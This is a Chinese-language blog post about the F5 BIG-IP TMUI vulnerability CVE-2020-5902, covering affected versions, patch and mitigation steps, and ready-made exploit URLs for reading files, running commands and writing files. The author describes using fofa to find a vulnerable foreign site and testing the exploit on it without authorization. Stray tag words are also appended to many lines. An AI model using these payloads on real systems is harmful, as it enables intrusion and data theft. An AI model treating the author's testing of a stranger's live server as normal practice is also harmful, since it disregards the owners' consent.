這幾天通報了f5的一個漏洞,想着先弄個環境保存着,說不定後面就用到了。。git
近日,F5官方發佈公告,修復了流量管理用戶界面(TMUI)中存在的一個遠程代碼執行漏洞(CVE-2020-5902)。此漏洞容許未經身份驗證的攻擊者或通過身份驗證的用戶經過BIG-IP管理端口和/或自身IP對TMUI進行網絡訪問,以執行任意系統命令、建立或刪除文件、禁用服務和/或執行任意Java代碼。該漏洞可能對整個系統形成危害。目前監測到網絡上已經有PoC,而且已有利用該漏洞的攻擊行爲出現,建議用戶儘快升級進行防禦。github
F5 BIG-IP 是美國 F5 公司的一款集成了網絡流量管理、應用程序安全管理、負載均衡等功能的應用交付平臺。web
參考連接:https://support.f5.com/csp/article/K52145254shell
F5 BIG-IP 15.x 已知易受攻擊版本 15.1.0、15.0.0安全
F5 BIG-IP 14.x 已知易受攻擊版本 14.1.0-14.1.2markdown
F5 BIG-IP 13.x 已知易受攻擊版本 13.1.0-13.1.3網絡
F5 BIG-IP 12.x 已知易受攻擊版本 12.1.0-12.1.5負載均衡
F5 BIG-IP 11.x 已知易受攻擊版本 11.6.1-11.6.5jsp
網上流傳的幾條(本小白只會」撿現成「的QAQ):測試
文件讀取: https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf RCE: https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin 寫入文件: https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=123456
由於才公佈出來幾天,因此網上還能夠搜到許多漏洞版本的網站(其實感受大多數site後面也不會修補。),這裏實在忍不住,就想直接用國外的站點嘗試一下(畢竟本身搭環境仍是挺麻煩的。。)
用fofa搜一下漏洞版本:
找到一個漂亮國的能正常訪問。測試一下下,發現能成功。
寫入文件:
這裏嘗試RCE列出用戶,沒有輸出
獲取shell網上也有文章寫到了,由於是真實網站,就不繼續嘗試了。:https://github.com/jas502n/CVE-2020-5902
本身搭個環境試試,版本爲14.1.2,由於如今官網好像已經下不到漏洞版本了,網上隨便找了個別人下載的,但發現web頁面的帳號密碼好像被他改了(默認是admin/admin),不過不影響,也能夠直接利用:
嘗試下msf,msf其實已經集成了該exp,可是須要是最新的版本,這裏我剛開始使用的手動添加模塊,出現了一個報錯(另寫一篇文章總結),最後解決了,新版本msf裏就有該exp
這裏沒有成功。。後面再嘗試下(網上的文章全都同樣,只寫到了有這個模塊,沒有人說成功用exp拿到了shell。)
通用修補建議: 升級到如下版本 BIG-IP 15.x: 15.1.0.4 BIG-IP 14.x: 14.1.2.6 BIG-IP 13.x: 13.1.3.4 BIG-IP 12.x: 12.1.5.2 BIG-IP 11.x: 11.6.5.2 臨時修補建議: 官方建議能夠經過如下步驟臨時緩解影響 1) 使用如下命令登陸對應系統 tmsh 2) 編輯 httpd 組件的配置文件 edit /sys httpd all-properties 3) 文件內容以下 include ' <LocationMatch "...;."> Redirect 404 / </LocationMatch> ' 4) 按照以下操做保存文件 按下 ESC 並依次輸入 :wq 5) 執行命令刷新配置文件 save /sys config 6) 重啓 httpd 服務 restart sys service httpd 並禁止外部IP對 TMUI 頁面的訪問